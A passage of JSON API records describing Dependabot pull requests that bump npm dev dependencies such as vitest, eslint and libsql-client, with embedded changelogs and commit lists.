href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6c6aa75481bffe5880b5c4e35ea67927\"\u003e\u003ccode\u003efe86a64\u003c/code\u003e\u003c/a\u003e fix: skip builtin loading in async leak detector (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11598\"\u003e#11598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff0734cf476e30186a83aebe6771aa330\"\u003e\u003ccode\u003e6ae8e89\u003c/code\u003e\u003c/a\u003e fix(reporter): end reason \u003ccode\u003e'failed'\u003c/code\u003e on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11568\"\u003e#11568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/OpenEVSE/openevse-gui-nightshift/pull/182","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenEVSE%2Fopenevse-gui-nightshift/issues/182","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/182/packages"},{"uuid":"6000095064","node_id":"PR_kwDOUb_zcc8AAAABKRybFg","number":42,"state":"closed","title":"chore(deps-dev): bump the dev-tooling group across 1 directory with 10 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-23T15:22:32.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-23T14:55:30.000Z","updated_at":"2026-10-23T15:22:34.000Z","time_to_close":1622,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"dev-tooling","update_count":10,"packages":[{"name":"@libsql/client","old_version":"0.15.15","new_version":"0.18.0","repository_url":"https://github.com/tursodatabase/libsql-client-ts"},{"name":"@peculiar/x509","old_version":"2.1.0","new_version":"2.2.0","repository_url":"https://github.com/PeculiarVentures/x509"},{"name":"@types/node","old_version":"22.20.2","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitest/coverage-v8","old_version":"4.1.11","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"drizzle-orm","old_version":"0.45.2","new_version":"0.45.4","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"eslint","old_version":"9.39.5","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"happy-dom","old_version":"20.14.5","new_version":"21.0.3","repository_url":"https://github.com/capricorn86/happy-dom"},{"name":"prettier","old_version":"3.9.6","new_version":"3.9.10","repository_url":"https://github.com/prettier/prettier"},{"name":"typescript-eslint","old_version":"8.70.0","new_version":"8.71.2","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vitest","old_version":"4.1.11","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"[//]: # (dependabot-start)\n⚠️  **Dependabot is rebasing this PR** ⚠️ \n\nRebasing might not happen immediately, so don't worry if this takes some time.\n\nNote: if you make any changes to this PR yourself, they will take precedence over the rebase.\n\n---\n\n[//]: # (dependabot-end)\n\nBumps the dev-tooling group with 10 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@libsql/client](https://github.com/tursodatabase/libsql-client-ts/tree/HEAD/packages/libsql-client) | `0.15.15` | `0.18.0` |\n| [@peculiar/x509](https://github.com/PeculiarVentures/x509) | `2.1.0` | `2.2.0` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `22.20.2` | `26.6.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.11` | `5.0.5` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.45.2` | `0.45.4` |\n| [eslint](https://github.com/eslint/eslint) | `9.39.5` | `10.13.0` |\n| [happy-dom](https://github.com/capricorn86/happy-dom) | `20.14.5` | `21.0.3` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.6` | `3.9.10` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.70.0` | `8.71.2` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.11` | `5.0.5` |\n\n\nUpdates `@libsql/client` from 0.15.15 to 0.18.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/9496c782af413f6380235c7f5d0c97b5371f49b7\"\u003e\u003ccode\u003e9496c78\u003c/code\u003e\u003c/a\u003e 0.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/f336495716e06efe63e0f3f6a9dbb09bbe83cc80\"\u003e\u003ccode\u003ef336495\u003c/code\u003e\u003c/a\u003e fix(sqlite3): settle in-flight operations when the pool is torn down\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/1174d51c698a89b10bbe1fec203a328045a492e2\"\u003e\u003ccode\u003e1174d51\u003c/code\u003e\u003c/a\u003e fix(sqlite3): give a client a connection pool, like the hrana clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/05e33449c53d71c6989ea2e2bef9104bc6bd3a27\"\u003e\u003ccode\u003e05e3344\u003c/code\u003e\u003c/a\u003e fix(sqlite3): keep connection handle for in-memory databases across transactions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/889a2ec3130b9fb3b32fda9e19ebd33864efc509\"\u003e\u003ccode\u003e889a2ec\u003c/code\u003e\u003c/a\u003e 0.17.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/916fdf3516cfc93447265fbdd8711a64dbb040bd\"\u003e\u003ccode\u003e916fdf3\u003c/code\u003e\u003c/a\u003e Add timeout config option for local sqlite3 connections\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/9d158a718ab655024e175d47a36565bd0178810b\"\u003e\u003ccode\u003e9d158a7\u003c/code\u003e\u003c/a\u003e 0.17.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/db7212640402f15e04b9fe7c16ca6cfa2b00ff07\"\u003e\u003ccode\u003edb72126\u003c/code\u003e\u003c/a\u003e 0.17.3-pre.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/e5d58414c671aabc88dfadf75fc1f3fd731da43d\"\u003e\u003ccode\u003ee5d5841\u003c/code\u003e\u003c/a\u003e Drop removed hrana-client re-exports from client test\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commit/82b63c0466efc4435dfb05681988cb4656c86ed5\"\u003e\u003ccode\u003e82b63c0\u003c/code\u003e\u003c/a\u003e 0.17.3-pre.1\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/tursodatabase/libsql-client-ts/commits/v0.18.0/packages/libsql-client\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​libsql/client\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@peculiar/x509` from 2.1.0 to 2.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PeculiarVentures/x509/releases\"\u003e@​peculiar/x509's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: don't apply fromBER limits when parsing our own DER by \u003ca href=\"https://github.com/hacdias\"\u003e\u003ccode\u003e@​hacdias\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/pull/150\"\u003ePeculiarVentures/x509#150\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): update non-major dependencies by \u003ca href=\"https://github.com/microshine\"\u003e\u003ccode\u003e@​microshine\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/pull/153\"\u003ePeculiarVentures/x509#153\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/PeculiarVentures/x509/compare/v2.1.0...v2.2.0\"\u003ehttps://github.com/PeculiarVentures/x509/compare/v2.1.0...v2.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/4c4857be5e8b2ad6423a58982de2c2c32337f075\"\u003e\u003ccode\u003e4c4857b\u003c/code\u003e\u003c/a\u003e chore(release): v2.2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/e27afe66924db1440bd35a1e9d2a1c7c127afe5a\"\u003e\u003ccode\u003ee27afe6\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/issues/153\"\u003e#153\u003c/a\u003e from PeculiarVentures/chore/update-deps-2026-10-13\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/625a751bd01bd2f1ac6251a43e10ea11f460808c\"\u003e\u003ccode\u003e625a751\u003c/code\u003e\u003c/a\u003e chore(deps): update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/102c175abc0bd616701931c5829c0e9db2f4d5c5\"\u003e\u003ccode\u003e102c175\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PeculiarVentures/x509/issues/150\"\u003e#150\u003c/a\u003e from hacdias/fix/dont-apply-limits-on-trusted-input\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/bc1d0618010d1e3e335ddf22c4efc1ebe4a4a7ae\"\u003e\u003ccode\u003ebc1d061\u003c/code\u003e\u003c/a\u003e chore: bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PeculiarVentures/x509/commit/33eb5ad9cc549997d047256ab9f538bbba239f4a\"\u003e\u003ccode\u003e33eb5ad\u003c/code\u003e\u003c/a\u003e fix: don't apply fromBER limits when parsing our own DER\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/PeculiarVentures/x509/compare/v2.1.0...v2.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 22.20.2 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 4.1.11 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca 